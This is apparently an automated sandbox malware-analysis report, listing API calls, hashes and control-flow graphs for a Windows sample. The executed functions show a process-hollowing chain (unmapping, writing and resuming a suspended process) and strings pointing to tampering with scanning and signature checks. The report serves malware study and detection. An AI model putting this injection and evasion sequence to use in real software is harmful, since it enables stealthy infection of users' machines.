                                                                                                                                                                      • __isleadbyte_l.LIBCMT ref: 00415307
                                                                                                                                                                      • MultiByteToWideChar.KERNEL32(00000080,00000009,00000083,?,?,00000000,?,?,?), ref: 00415338
                                                                                                                                                                      • MultiByteToWideChar.KERNEL32(00000080,00000009,00000083,00000001,?,00000000,?,?,?), ref: 004153A6
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000003.00000001.1710492566.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000003.00000001.1710492566.0000000000426000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_3_1_400000_nhpoymuP.jbxd
                                                                                                                                                                      Yara matches
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 3058430110-0
                                                                                                                                                                      • Opcode ID: 2839bf6a935194de417e4e3b9e78947074703b487fc663d1488f120054b34ef5
                                                                                                                                                                      • Instruction ID: 094900ada7e667e90e346a2540d450e67f5821ec0926a3c2ae07879bc245b0d1
                                                                                                                                                                      • Opcode Fuzzy Hash: 2839bf6a935194de417e4e3b9e78947074703b487fc663d1488f120054b34ef5
                                                                                                                                                                      • Instruction Fuzzy Hash: 1831A032A00649EFDB20DFA4C8809EE7BB5EF41350B1885AAE8659B291D374DD80DF59
                                                                                                                                                                      Function 004134DB Relevance: 6.0, APIs: 4, Instructions: 49COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000003.00000001.1710492566.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000003.00000001.1710492566.0000000000426000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_3_1_400000_nhpoymuP.jbxd
                                                                                                                                                                      Yara matches
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: __cftoe_l__cftof_l__cftog_l__fltout2
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 3016257755-0
                                                                                                                                                                      • Opcode ID: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
                                                                                                                                                                      • Instruction ID: bfd0e68975b3765f24e543ba70b005e9871d43ed2f52156b65e62ceec70126f9
                                                                                                                                                                      • Opcode Fuzzy Hash: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
                                                                                                                                                                      • Instruction Fuzzy Hash: DA117E7200014EBBCF125E85CC418EE3F27BF18755B58841AFE2858130D73BCAB2AB89
                                                                                                                                                                      Function 3250C0A8 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 184windowCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000003.00000002.1989485777.0000000032500000.00000040.00000800.00020000.00000000.sdmp, Offset: 32500000, based on PE: false
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_3_2_32500000_nhpoymuP.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: ActiveFocusWindow
                                                                                                                                                                      • String ID: Pa3
                                                                                                                                                                      • API String ID: 2022189218-2837606130
                                                                                                                                                                      • Opcode ID: e4c4bd152a068bf5ea7b7fa89f4c92d632d3a520476060a92e19407ece56a695
                                                                                                                                                                      • Instruction ID: 81f3aa600f05d8809685f3108ae3c2268f0412293242c09c7d8b3fdd0e6c8ff8
                                                                                                                                                                      • Opcode Fuzzy Hash: e4c4bd152a068bf5ea7b7fa89f4c92d632d3a520476060a92e19407ece56a695
                                                                                                                                                                      • Instruction Fuzzy Hash: D5714CB4A002058FDB04CFA9C984AAABBF5FF49705F558499E844EB361C774EE41CFA1

                                                                                                                                                                      Execution Graph

                                                                                                                                                                      Execution Coverage:9.2%
                                                                                                                                                                      Dynamic/Decrypted Code Coverage:100%
                                                                                                                                                                      Signature Coverage:0%
                                                                                                                                                                      Total number of Nodes:181
                                                                                                                                                                      Total number of Limit Nodes:15
                                                                                                                                                                      execution_graph 24489 2ccbb3c 24492 2cbec6c 24489->24492 24493 2cbec74 24492->24493 24493->24493 26894 2cb8704 LoadLibraryW 24493->26894 24495 2cbec96 24496 2cbec9b 24495->24496 24497 2cbecab 24496->24497 24498 2cbecaf 24497->24498 24499 2cbecc0 24497->24499 26908 2ca4500 24498->26908 24501 2ca4500 8 API calls 24499->24501 24502 2cbecbe 24501->24502 26899 2ca480c 24502->26899 26914 2cb80c0 26894->26914 26896 2cb873d 26922 2cb7cf8 26896->26922 26900 2ca481d 26899->26900 26901 2ca485a 26900->26901 26902 2ca4843 26900->26902 26904 2ca4570 8 API calls 26901->26904 26903 2ca4b78 8 API calls 26902->26903 26906 2ca4850 26903->26906 26904->26906 26905 2ca488b 26906->26905 26907 2ca4500 8 API calls 26906->26907 26907->26905 26909 2ca4504 26908->26909 26912 2ca4514 26908->26912 26911 2ca4570 8 API calls 26909->26911 26909->26912 26910 2ca4542 26910->24502 26911->26912 26912->26910 26913 2ca2c2c 8 API calls 26912->26913 26913->26910 26915 2ca4500 8 API calls 26914->26915 26916 2cb80e5 26915->26916 26933 2cb790c 26916->26933 26918 2cb80f2 26919 2cb8112 GetProcAddress GetProcAddress 26918->26919 26937 2ca44d0 26919->26937 26923 2ca4500 8 API calls 26922->26923 26924 2cb7d1d 26923->26924 26925 2cb790c 8 API calls 26924->26925 26926 2cb7d2a 26925->26926 26975 2cb8018 26926->26975 26929 2cb80c0 10 API calls 26930 2cb7d53 NtWriteVirtualMemory 26929->26930 26931 2ca44d0 8 API calls 26930->26931 26932 2cb7d8c FreeLibrary 26931->26932 26932->24495 26934 2cb791d 26933->26934 26941 2ca4b78 26934->26941 26936 2cb792d 26936->26918 26938 2ca44d6 26937->26938 26939 2ca44fc 26938->26939 26940 2ca2c2c 8 API calls 26938->26940 26939->26896 26940->26938 26942 2ca4b85 26941->26942 26946 2ca4bb5 26941->26946 26945 2ca4b91 26942->26945 26947 2ca4570 26942->26947 26945->26936 26952 2ca44ac 26946->26952 26948 2ca4598 26947->26948 26949 2ca4574 26947->26949 26948->26946 26956 2ca2c10 26949->26956 26951 2ca4581 26951->26946 26953 2ca44b2 26952->26953 26955 2ca44cd 26952->26955 26953->26955 26966 2ca2c2c 26953->26966 26955->26945 26957 2ca2c27 26956->26957 26960 2ca2c14 26956->26960 26957->26951 26958 2ca2c1e 26958->26951 26959 2ca2d19 26965 2ca2ce8 7 API calls 26959->26965 26960->26958 26960->26959 26964 2ca64cc TlsGetValue 26960->26964 26963 2ca2d3a 26963->26951 26964->26959 26965->26963 26967 2ca2c3a 26966->26967 26968 2ca2c30 26966->26968 26967->26955 26968->26967 26969 2ca2d19 26968->26969 26973 2ca64cc TlsGetValue 26968->26973 26974 2ca2ce8 7 API calls 26969->26974 26972 2ca2d3a 26972->26955 26973->26969 26974->26972 26976 2ca4500 8 API calls 26975->26976 26977 2cb803b 26976->26977 26978 2cb790c 8 API calls 26977->26978 26979 2cb8048 26978->26979 26980 2cb80c0 10 API calls 26979->26980 26981 2cb8061 GetModuleHandleA 26980->26981 26982 2ca44ac 8 API calls 26981->26982 26983 2cb7d4d 26982->26983 26983->26929 26984 2ca4e88 26985 2ca4e95 26984->26985 26988 2ca4e9c 26984->26988 26990 2ca4be4 26985->26990 26993 2ca4bfc 26988->26993 26991 2ca4bdc 26990->26991 26992 2ca4be8 SysAllocStringLen 26990->26992 26991->26988 26992->26991 26994 2ca4c08 26993->26994 26995 2ca4c02 SysFreeString 26993->26995 26995->26994 26996 2ca6518 26997 2ca6523 26996->26997 27000 2ca4168 26997->27000 26999 2ca655d 27001 2ca41ae 27000->27001 27002 2ca422c 27001->27002 27012 2ca4100 27001->27012 27002->26999 27004 2ca43e9 27002->27004 27007 2ca43fa 27002->27007 27017 2ca432c GetStdHandle WriteFile GetStdHandle WriteFile MessageBoxA 27004->27017 27006 2ca43f3 27006->27007 27008 2ca443f FreeLibrary 27007->27008 27009 2ca4463 27007->27009 27008->27007 27010 2ca446c 27009->27010 27011 2ca4472 ExitProcess 27009->27011 27010->27011 27013 2ca4110 27012->27013 27014 2ca4143 27012->27014 27013->27014 27018 2ca15cc 27013->27018 27022 2ca5814 27013->27022 27014->27002 27017->27006 27026 2ca1560 27018->27026 27020 2ca15d4 VirtualAlloc 27021 2ca15eb 27020->27021 27021->27013 27023 2ca5824 GetModuleFileNameA 27022->27023 27025 2ca5840 27022->27025 27028 2ca5a78 GetModuleFileNameA RegOpenKeyExA 27023->27028 27025->27013 27027 2ca1500 27026->27027 27027->27020 27029 2ca5afb 27028->27029 27030 2ca5abb RegOpenKeyExA 27028->27030 27046 2ca58b4 6 API calls 27029->27046 27030->27029 27031 2ca5ad9 RegOpenKeyExA 27030->27031 27031->27029 27033 2ca5b84 lstrcpyn GetThreadLocale GetLocaleInfoA 27031->27033 27035 2ca5bbb 27033->27035 27036 2ca5c9e 27033->27036 27034 2ca5b20 RegQueryValueExA 27037 2ca5b62 RegCloseKey 27034->27037 27038 2ca5b40 RegQueryValueExA 27034->27038 27035->27036 27039 2ca5bcb lstrlen 27035->27039 27036->27025 27037->27025 27038->27037 27040 2ca5b5e 27038->27040 27041 2ca5be3 27039->27041 27040->27037 27041->27036 27042 2ca5c08 lstrcpyn LoadLibraryExA 27041->27042 27043 2ca5c30 27041->27043 27042->27043 27043->27036 27044 2ca5c3a lstrcpyn LoadLibraryExA 27043->27044 27044->27036 27045 2ca5c6c lstrcpyn LoadLibraryExA 27044->27045 27045->27036 27046->27034 27047 2ccbb48 timeSetEvent 27048 2ca1a8f 27049 2ca1b6c 27048->27049 27050 2ca1aa1 27048->27050 27051 2ca16e8 27049->27051 27052 2ca1aa7 27049->27052 27050->27052 27055 2ca1b13 Sleep 27050->27055 27054 2ca1c66 27051->27054 27065 2ca1644 27051->27065 27053 2ca1ab0 27052->27053 27058 2ca1b4b Sleep 27052->27058 27062 2ca1b81 27052->27062 27055->27052 27056 2ca1b2d Sleep 27055->27056 27056->27050 27059 2ca1b61 Sleep 27058->27059 27058->27062 27059->27052 27061 2ca170d 27063 2ca1c00 VirtualFree 27062->27063 27064 2ca1ba4 27062->27064 27066 2ca1681 VirtualFree 27065->27066 27067 2ca164d 27065->27067 27066->27061 27067->27066 27068 2ca164f Sleep 27067->27068 27069 2ca1664 27068->27069 27069->27066 27070 2ca1668 Sleep 27069->27070 27070->27067 27071 2ca1727 27072 2ca1968 27071->27072 27073 2ca173c 27071->27073 27074 2ca1938 27072->27074 27075 2ca1a80 27072->27075 27082 2ca17cb Sleep 27073->27082 27084 2ca174e 27073->27084 27081 2ca1947 Sleep 27074->27081 27088 2ca1986 27074->27088 27076 2ca1a89 27075->27076 27077 2ca1684 VirtualAlloc 27075->27077 27079 2ca16bf 27077->27079 27080 2ca16af 27077->27080 27078 2ca175d 27083 2ca1644 2 API calls 27080->27083 27086 2ca195d Sleep 27081->27086 27081->27088 27082->27084 27087 2ca17e4 Sleep 27082->27087 27083->27079 27084->27078 27085 2ca182c 27084->27085 27089 2ca180a Sleep 27084->27089 27093 2ca15cc VirtualAlloc 27085->27093 27094 2ca1838 27085->27094 27086->27074 27087->27073 27090 2ca15cc VirtualAlloc 27088->27090 27092 2ca19a4 27088->27092 27089->27085 27091 2ca1820 Sleep 27089->27091 27090->27092 27091->27084 27093->27094

                                                                                                                                                                      Executed Functions

                                                                                                                                                                      Function 02CB8BA8 Relevance: 45.4, APIs: 3, Strings: 22, Instructions: 1654threadnativeinjectionCOMMON
                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                      • Executed
                                                                                                                                                                      • Not Executed
                                                                                                                                                                      control_flow_graph 6798 2cb8ba8-2cb8bab 6799 2cb8bb0-2cb8bb5 6798->6799 6799->6799 6800 2cb8bb7-2cb8c9e call 2ca493c call 2ca480c call 2ca494c call 2ca46a4 call 2ca4798 call 2ca494c call 2ca46a4 call 2cb881c call 2ca480c call 2ca494c call 2ca46a4 call 2ca4798 call 2ca494c call 2ca46a4 call 2cb881c 6799->6800 6831 2cba6ef-2cba759 call 2ca44d0 * 2 call 2ca4c0c call 2ca44d0 call 2ca44ac call 2ca44d0 * 2 6800->6831 6832 2cb8ca4-2cb8d7f call 2ca480c call 2ca494c call 2ca46a4 call 2ca4798 call 2ca494c call 2ca46a4 call 2cb881c call 2ca480c call 2ca494c call 2ca46a4 call 2ca4798 call 2ca494c call 2ca46a4 call 2cb881c 6800->6832 6832->6831 6875 2cb8d85-2cb90ad call 2ca480c call 2ca494c call 2ca46a4 call 2ca4798 call 2ca494c call 2ca46a4 call 2cb881c call 2ca480c call 2ca494c call 2ca46a4 call 2ca4798 call 2ca494c call 2ca46a4 call 2cb881c call 2ca30d4 * 2 call 2ca480c call 2ca494c call 2ca46a4 call 2ca4798 call 2ca494c call 2ca46a4 call 2cb881c call 2ca480c call 2ca494c call 2ca46a4 call 2ca4798 call 2ca494c call 2ca46a4 call 2cb881c call 2ca480c call 2ca494c call 2ca46a4 call 2ca4798 call 2ca494c call 2ca46a4 call 2cb881c call 2ca480c call 2ca494c call 2ca46a4 call 2ca4798 call 2ca494c call 2ca46a4 call 2cb881c call 2ca480c call 2ca494c call 2ca46a4 call 2ca4798 call 2ca494c call 2ca46a4 call 2cb881c call 2ca4d8c call 2ca4d9c call 2cb85d4 6832->6875 6984 2cb90af-2cb911b call 2ca480c call 2ca494c call 2ca46a4 call 2ca4798 call 2ca494c call 2ca46a4 call 2cb881c 6875->6984 6985 2cb9120-2cb9441 call 2ca480c call 2ca494c call 2ca46a4 call 2ca4798 call 2ca494c call 2ca46a4 call 2cb881c call 2ca46a4 * 2 call 2cb881c call 2ca480c call 2ca494c call 2ca46a4 call 2ca4798 call 2ca494c call 2ca46a4 call 2cb881c call 2ca480c call 2ca494c call 2ca46a4 call 2ca4798 call 2ca494c call 2ca46a4 call 2cb881c call 2ca2ee0 call 2ca2f08 call 2ca480c call 2ca494c call 2ca46a4 call 2ca4798 call 2ca494c call 2ca46a4 call 2cb881c call 2ca480c call 2ca494c call 2ca46a4 call 2ca4798 call 2ca494c call 2ca46a4 call 2cb881c call 2ca480c call 2ca494c call 2ca46a4 call 2ca4798 call 2ca494c call 2ca46a4 call 2cb881c GetThreadContext 6875->6985 6984->6985 6985->6831 7093 2cb9447-2cb96aa call 2ca480c call 2ca494c call 2ca46a4 call 2ca4798 call 2ca494c call 2ca46a4 call 2cb881c call 2ca480c call 2ca494c call 2ca46a4 call 2ca4798 call 2ca494c call 2ca46a4 call 2cb881c call 2ca480c call 2ca494c call 2ca46a4 call 2ca4798 call 2ca494c call 2ca46a4 call 2cb881c call 2ca480c call 2ca494c call 2ca46a4 call 2ca4798 call 2ca494c call 2ca46a4 call 2cb881c call 2ca480c call 2ca494c call 2ca46a4 call 2ca4798 call 2ca494c call 2ca46a4 call 2cb881c call 2cb824c 6985->7093 7166 2cb96b0-2cb9819 call 2ca480c call 2ca494c call 2ca46a4 call 2ca4798 call 2ca494c call 2ca46a4 call 2cb881c call 2ca480c call 2ca494c call 2ca46a4 call 2ca4798 call 2ca494c call 2ca46a4 call 2cb881c call 2ca480c call 2ca494c call 2ca46a4 call 2ca4798 call 2ca494c call 2ca46a4 call 2cb881c call 2cb84bc 7093->7166 7167 2cb99b7-2cb9a23 call 2ca480c call 2ca494c call 2ca46a4 call 2ca4798 call 2ca494c call 2ca46a4 call 2cb881c 7093->7167 7257 2cb981b-2cb9841 call 2cb79ac 7166->7257 7258 2cb9843-2cb98af call 2ca480c call 2ca494c call 2ca46a4 call 2ca4798 call 2ca494c call 2ca46a4 call 2cb881c 7166->7258 7194 2cb9a28-2cb9ba8 call 2ca480c call 2ca494c call 2ca46a4 call 2ca4798 call 2ca494c call 2ca46a4 call 2cb881c call 2ca480c call 2ca494c call 2ca46a4 call 2ca4798 call 2ca494c call 2ca46a4 call 2cb881c call 2ca480c call 2ca494c call 2ca46a4 call 2ca4798 call 2ca494c call 2ca46a4 call 2cb881c call 2cb79ac 7167->7194 7194->6831 7298 2cb9bae-2cb9ca7 call 2ca480c call 2ca494c call 2ca46a4 call 2ca4798 call 2ca494c call 2ca46a4 call 2cb881c call 2ca480c call 2ca494c call 2ca46a4 call 2ca4798 call 2ca494c call 2ca46a4 call 2cb881c call 2cb8ab8 7194->7298 7266 2cb98b4-2cb99ab call 2ca480c call 2ca494c call 2ca46a4 call 2ca4798 call 2ca494c call 2ca46a4 call 2cb881c call 2ca480c call 2ca494c call 2ca46a4 call 2ca4798 call 2ca494c call 2ca46a4 call 2cb881c call 2cb79ac 7257->7266 7258->7266 7337 2cb99b0-2cb99b5 7266->7337 7349 2cb9cfb-2cba453 call 2ca480c call 2ca494c call 2ca46a4 call 2ca4798 call 2ca494c call 2ca46a4 call 2cb881c call 2ca480c call 2ca494c call 2ca46a4 call 2ca4798 call 2ca494c call 2ca46a4 call 2cb881c call 2ca480c call 2ca494c call 2ca46a4 call 2ca4798 call 2ca494c call 2ca46a4 call 2cb881c call 2cb7cf8 call 2ca480c call 2ca494c call 2ca46a4 call 2ca4798 call 2ca494c call 2ca46a4 call 2cb881c call 2ca480c call 2ca494c call 2ca46a4 call 2ca4798 call 2ca494c call 2ca46a4 call 2cb881c call 2ca480c call 2ca494c call 2ca46a4 call 2ca4798 call 2ca494c call 2ca46a4 call 2cb881c call 2cb7cf8 call 2ca480c call 2ca494c call 2ca46a4 call 2ca4798 call 2ca494c call 2ca46a4 call 2cb881c call 2ca480c call 2ca494c call 2ca46a4 call 2ca4798 call 2ca494c call 2ca46a4 call 2cb881c call 2ca480c call 2ca494c call 2ca46a4 call 2ca4798 call 2ca494c call 2ca46a4 call 2cb881c SetThreadContext NtResumeThread call 2ca480c call 2ca494c call 2ca46a4 call 2ca4798 call 2ca494c call 2ca46a4 call 2cb881c call 2ca480c call 2ca494c call 2ca46a4 call 2ca4798 call 2ca494c call 2ca46a4 call 2cb881c call 2ca480c call 2ca494c call 2ca46a4 call 2ca4798 call 2ca494c call 2ca46a4 call 2cb881c call 2ca480c call 2ca494c call 2ca46a4 call 2ca4798 call 2ca494c call 2ca46a4 call 2cb881c call 2ca2c2c call 2ca480c call 2ca494c call 2ca46a4 call 2ca4798 call 2ca494c call 2ca46a4 call 2cb881c call 2cb8798 * 3 call 2ca480c call 2ca494c call 2ca46a4 call 2ca4798 call 2ca494c call 2ca46a4 call 2cb881c 7298->7349 7350 2cb9ca9-2cb9cf6 call 2cb89b0 call 2cb89a4 7298->7350 7337->7194 7575 2cba458-2cba6ea call 2cb8798 * 2 call 2ca480c call 2ca494c call 2ca4798 call 2ca494c call 2cb8798 call 2ca480c call 2ca494c call 2ca4798 call 2ca494c call 2cb8798 * 5 call 2ca480c call 2ca494c call 2ca4798 call 2ca494c call 2cb8798 call 2ca480c call 2ca494c call 2ca4798 call 2ca494c call 2cb8798 call 2ca480c call 2ca494c call 2ca4798 call 2ca494c call 2cb8798 call 2ca480c call 2ca494c call 2ca4798 call 2ca494c call 2cb8798 call 2cb7ecc call 2cb8798 * 2 7349->7575 7350->7349 7575->6831
                                                                                                                                                                      APIs
                                                                                                                                                                        • Part of subcall function 02CB881C: GetModuleHandleA.KERNEL32(00000000,00000000,00000000,02CB8903), ref: 02CB8860
                                                                                                                                                                        • Part of subcall function 02CB881C: GetProcAddress.KERNEL32(02D01384,00000000), ref: 02CB8879
                                                                                                                                                                        • Part of subcall function 02CB881C: FreeLibrary.KERNEL32(02D01384,00000000,02D01388,Function_000055D8,00000004,02D01398,02D01388,000186A3,00000040,02D0139C,02D01384,00000000,00000000,00000000,00000000,02CB8903), ref: 02CB88E3
                                                                                                                                                                        • Part of subcall function 02CB85D4: CreateProcessAsUserW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,Kernel32,00000000,00000000,00000000), ref: 02CB8660
                                                                                                                                                                      • GetThreadContext.KERNEL32(02D013D0,02D01420,ScanString,02D013A4,02CBA774,UacInitialize,02D013A4,02CBA774,ScanBuffer,02D013A4,02CBA774,ScanBuffer,02D013A4,02CBA774,UacInitialize,02D013A4), ref: 02CB943A
                                                                                                                                                                        • Part of subcall function 02CB824C: NtReadVirtualMemory.NTDLL(?,?,?,?,?), ref: 02CB82BD
                                                                                                                                                                        • Part of subcall function 02CB84BC: NtUnmapViewOfSection.NTDLL(?,?), ref: 02CB8521
                                                                                                                                                                        • Part of subcall function 02CB79AC: NtAllocateVirtualMemory.NTDLL(?,?,00000000,?,?,?), ref: 02CB7A1F
                                                                                                                                                                        • Part of subcall function 02CB7CF8: NtWriteVirtualMemory.NTDLL(?,?,?,?,?), ref: 02CB7D6C
                                                                                                                                                                      • SetThreadContext.KERNEL32(02D013D0,02D01420,ScanBuffer,02D013A4,02CBA774,ScanString,02D013A4,02CBA774,Initialize,02D013A4,02CBA774,02D013CC,02D014BC,02D014F8,00000004,02D014FC), ref: 02CBA14F
                                                                                                                                                                      • NtResumeThread.NTDLL(02D013D0,00000000), ref: 02CBA15C
                                                                                                                                                                        • Part of subcall function 02CB8798: LoadLibraryW.KERNEL32(?,?), ref: 02CB87AC
                                                                                                                                                                        • Part of subcall function 02CB8798: GetProcAddress.KERNEL32(02D01390,BCryptVerifySignature), ref: 02CB87C6
                                                                                                                                                                        • Part of subcall function 02CB8798: FreeLibrary.KERNEL32(02D01390,02D01390,BCryptVerifySignature,bcrypt,?,02D013D0,00000000,02D013A4,02CBA3BF,ScanString,02D013A4,02CBA774,ScanBuffer,02D013A4,02CBA774,Initialize), ref: 02CB8802
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000004.00000002.1839275438.0000000002CA1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02CA1000, based on PE: false
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_4_2_2ca1000_Pumyophn.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: LibraryMemoryThreadVirtual$AddressContextFreeProc$AllocateCreateHandleLoadModuleProcessReadResumeSectionUnmapUserViewWrite
                                                                                                                                                                      • String ID: BCryptQueryProviderRegistration$BCryptRegisterProvider$BCryptVerifySignature$I_QueryTagInformation$Initialize$MiniDumpReadDumpStream$MiniDumpWriteDump$NtOpenObjectAuditAlarm$NtOpenProcess$NtReadVirtualMemory$NtSetSecurityObject$OpenSession$SLGetLicenseInformation$ScanBuffer$ScanString$UacInitialize$UacScan$advapi32$bcrypt$dbgcore$ntdll$sppc
                                                                                                                                                                      • API String ID: 59011937-51457883
                                                                                                                                                                      • Opcode ID: 830d7a413e113333aa425e2f077daff31e56efb18f1cb3ce1c110c548520eee7
                                                                                                                                                                      • Instruction ID: 26b71a5ff3025284416378dc28f16e46aa53fda30ac9caba9be391489071dfd3
                                                                                                                                                                      • Opcode Fuzzy Hash: 830d7a413e113333aa425e2f077daff31e56efb18f1cb3ce1c110c548520eee7
                                                                                                                                                                      • Instruction Fuzzy Hash: 55E21C74A4015A9FDB26FBA4DCA0BCE73BABF95304F2041B1E049AB614DA70EE45DF50
                                                                                                                                                                      Function 02CB8BA6 Relevance: 45.4, APIs: 3, Strings: 22, Instructions: 1605threadCOMMON
                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                      • Executed
                                                                                                                                                                      • Not Executed
                                                                                                                                                                      control_flow_graph 7653 2cb8ba6-2cb8bab 7655 2cb8bb0-2cb8bb5 7653->7655 7655->7655 7656 2cb8bb7-2cb8c9e call 2ca493c call 2ca480c call 2ca494c call 2ca46a4 call 2ca4798 call 2ca494c call 2ca46a4 call 2cb881c call 2ca480c call 2ca494c call 2ca46a4 call 2ca4798 call 2ca494c call 2ca46a4 call 2cb881c 7655->7656 7687 2cba6ef-2cba759 call 2ca44d0 * 2 call 2ca4c0c call 2ca44d0 call 2ca44ac call 2ca44d0 * 2 7656->7687 7688 2cb8ca4-2cb8d7f call 2ca480c call 2ca494c call 2ca46a4 call 2ca4798 call 2ca494c call 2ca46a4 call 2cb881c call 2ca480c call 2ca494c call 2ca46a4 call 2ca4798 call 2ca494c call 2ca46a4 call 2cb881c 7656->7688 7688->7687 7731 2cb8d85-2cb90ad call 2ca480c call 2ca494c call 2ca46a4 call 2ca4798 call 2ca494c call 2ca46a4 call 2cb881c call 2ca480c call 2ca494c call 2ca46a4 call 2ca4798 call 2ca494c call 2ca46a4 call 2cb881c call 2ca30d4 * 2 call 2ca480c call 2ca494c call 2ca46a4 call 2ca4798 call 2ca494c call 2ca46a4 call 2cb881c call 2ca480c call 2ca494c call 2ca46a4 call 2ca4798 call 2ca494c call 2ca46a4 call 2cb881c call 2ca480c call 2ca494c call 2ca46a4 call 2ca4798 call 2ca494c call 2ca46a4 call 2cb881c call 2ca480c call 2ca494c call 2ca46a4 call 2ca4798 call 2ca494c call 2ca46a4 call 2cb881c call 2ca480c call 2ca494c call 2ca46a4 call 2ca4798 call 2ca494c call 2ca46a4 call 2cb881c call 2ca4d8c call 2ca4d9c call 2cb85d4 7688->7731 7840 2cb90af-2cb911b call 2ca480c call 2ca494c call 2ca46a4 call 2ca4798 call 2ca494c call 2ca46a4 call 2cb881c 7731->7840 7841 2cb9120-2cb9441 call 2ca480c call 2ca494c call 2ca46a4 call 2ca4798 call 2ca494c call 2ca46a4 call 2cb881c call 2ca46a4 * 2 call 2cb881c call 2ca480c call 2ca494c call 2ca46a4 call 2ca4798 call 2ca494c call 2ca46a4 call 2cb881c call 2ca480c call 2ca494c call 2ca46a4 call 2ca4798 call 2ca494c call 2ca46a4 call 2cb881c call 2ca2ee0 call 2ca2f08 call 2ca480c call 2ca494c call 2ca46a4 call 2ca4798 call 2ca494c call 2ca46a4 call 2cb881c call 2ca480c call 2ca494c call 2ca46a4 call 2ca4798 call 2ca494c call 2ca46a4 call 2cb881c call 2ca480c call 2ca494c call 2ca46a4 call 2ca4798 call 2ca494c call 2ca46a4 call 2cb881c GetThreadContext 7731->7841 7840->7841 7841->7687 7949 2cb9447-2cb96aa call 2ca480c call 2ca494c call 2ca46a4 call 2ca4798 call 2ca494c call 2ca46a4 call 2cb881c call 2ca480c call 2ca494c call 2ca46a4 call 2ca4798 call 2ca494c call 2ca46a4 call 2cb881c call 2ca480c call 2ca494c call 2ca46a4 call 2ca4798 call 2ca494c call 2ca46a4 call 2cb881c call 2ca480c call 2ca494c call 2ca46a4 call 2ca4798 call 2ca494c call 2ca46a4 call 2cb881c call 2ca480c call 2ca494c call 2ca46a4 call 2ca4798 call 2ca494c call 2ca46a4 call 2cb881c call 2cb824c 7841->7949 8022 2cb96b0-2cb9819 call 2ca480c call 2ca494c call 2ca46a4 call 2ca4798 call 2ca494c call 2ca46a4 call 2cb881c call 2ca480c call 2ca494c call 2ca46a4 call 2ca4798 call 2ca494c call 2ca46a4 call 2cb881c call 2ca480c call 2ca494c call 2ca46a4 call 2ca4798 call 2ca494c call 2ca46a4 call 2cb881c call 2cb84bc 7949->8022 8023 2cb99b7-2cb9a23 call 2ca480c call 2ca494c call 2ca46a4 call 2ca4798 call 2ca494c call 2ca46a4 call 2cb881c 7949->8023 8113 2cb981b-2cb9841 call 2cb79ac 8022->8113 8114 2cb9843-2cb98af call 2ca480c call 2ca494c call 2ca46a4 call 2ca4798 call 2ca494c call 2ca46a4 call 2cb881c 8022->8114 8050 2cb9a28-2cb9ba8 call 2ca480c call 2ca494c call 2ca46a4 call 2ca4798 call 2ca494c call 2ca46a4 call 2cb881c call 2ca480c call 2ca494c call 2ca46a4 call 2ca4798 call 2ca494c call 2ca46a4 call 2cb881c call 2ca480c call 2ca494c call 2ca46a4 call 2ca4798 call 2ca494c call 2ca46a4 call 2cb881c call 2cb79ac 8023->8050 8050->7687 8154 2cb9bae-2cb9ca7 call 2ca480c call 2ca494c call 2ca46a4 call 2ca4798 call 2ca494c call 2ca46a4 call 2cb881c call 2ca480c call 2ca494c call 2ca46a4 call 2ca4798 call 2ca494c call 2ca46a4 call 2cb881c call 2cb8ab8 8050->8154 8122 2cb98b4-2cb99b5 call 2ca480c call 2ca494c call 2ca46a4 call 2ca4798 call 2ca494c call 2ca46a4 call 2cb881c call 2ca480c call 2ca494c call 2ca46a4 call 2ca4798 call 2ca494c call 2ca46a4 call 2cb881c call 2cb79ac 8113->8122 8114->8122 8122->8050 8205 2cb9cfb-2cba6ea call 2ca480c call 2ca494c call 2ca46a4 call 2ca4798 call 2ca494c call 2ca46a4 call 2cb881c call 2ca480c call 2ca494c call 2ca46a4 call 2ca4798 call 2ca494c call 2ca46a4 call 2cb881c call 2ca480c call 2ca494c call 2ca46a4 call 2ca4798 call 2ca494c call 2ca46a4 call 2cb881c call 2cb7cf8 call 2ca480c call 2ca494c call 2ca46a4 call 2ca4798 call 2ca494c call 2ca46a4 call 2cb881c call 2ca480c call 2ca494c call 2ca46a4 call 2ca4798 call 2ca494c call 2ca46a4 call 2cb881c call 2ca480c call 2ca494c call 2ca46a4 call 2ca4798 call 2ca494c call 2ca46a4 call 2cb881c call 2cb7cf8 call 2ca480c call 2ca494c call 2ca46a4 call 2ca4798 call 2ca494c call 2ca46a4 call 2cb881c call 2ca480c call 2ca494c call 2ca46a4 call 2ca4798 call 2ca494c call 2ca46a4 call 2cb881c call 2ca480c 